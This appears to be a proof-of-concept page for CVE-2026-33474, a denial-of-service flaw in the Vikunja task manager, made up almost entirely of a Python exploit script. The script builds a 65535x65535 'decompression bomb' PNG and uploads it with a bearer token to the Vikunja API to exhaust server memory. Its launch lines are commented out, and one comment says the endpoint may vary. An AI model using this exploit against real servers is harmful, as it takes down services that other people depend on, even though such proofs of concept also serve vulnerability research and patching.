CVE-2026-33474 Vikunja 拒绝服务漏洞

import os import requests from PIL import Image # Create a malicious 'decompression bomb' image # This creates a small file size but huge pixel dimensions def create_malicious_image(filename="poc_exploit.png"): width = 65535 height = 65535 img = Image.new('RGB', (width, height), color='red') # Save with high compression to keep file size small img.save(filename, 'PNG', optimize=True) print(f"[+] Malicious image created: {filename}") print(f"[+] Dimensions: {width}x{height}") print(f"[+] File size: {os.path.getsize(filename)} bytes") return filename def upload_exploit(url, token, filename): headers = { "Authorization": f"Bearer {token}" } files = { 'file': (filename, open(filename, 'rb'), 'image/png') } # Endpoint might vary based on Vikunja API structure upload_url = f"{url}/api/v1/tasks" try: print(f"[*] Uploading to {upload_url}...") response = requests.post(upload_url, headers=headers, files=files) print(f"[+] Server response status: {response.status_code}") except Exception as e: print(f"[-] Upload failed: {e}") if __name__ == "__main__": # Usage: python poc.py <target_url> <api_token> # target_url = "http://localhost:3456" # api_token = "your_api_token_here" # file_name = create_malicious_image() # upload_exploit(target_url, api_token, file_name) pass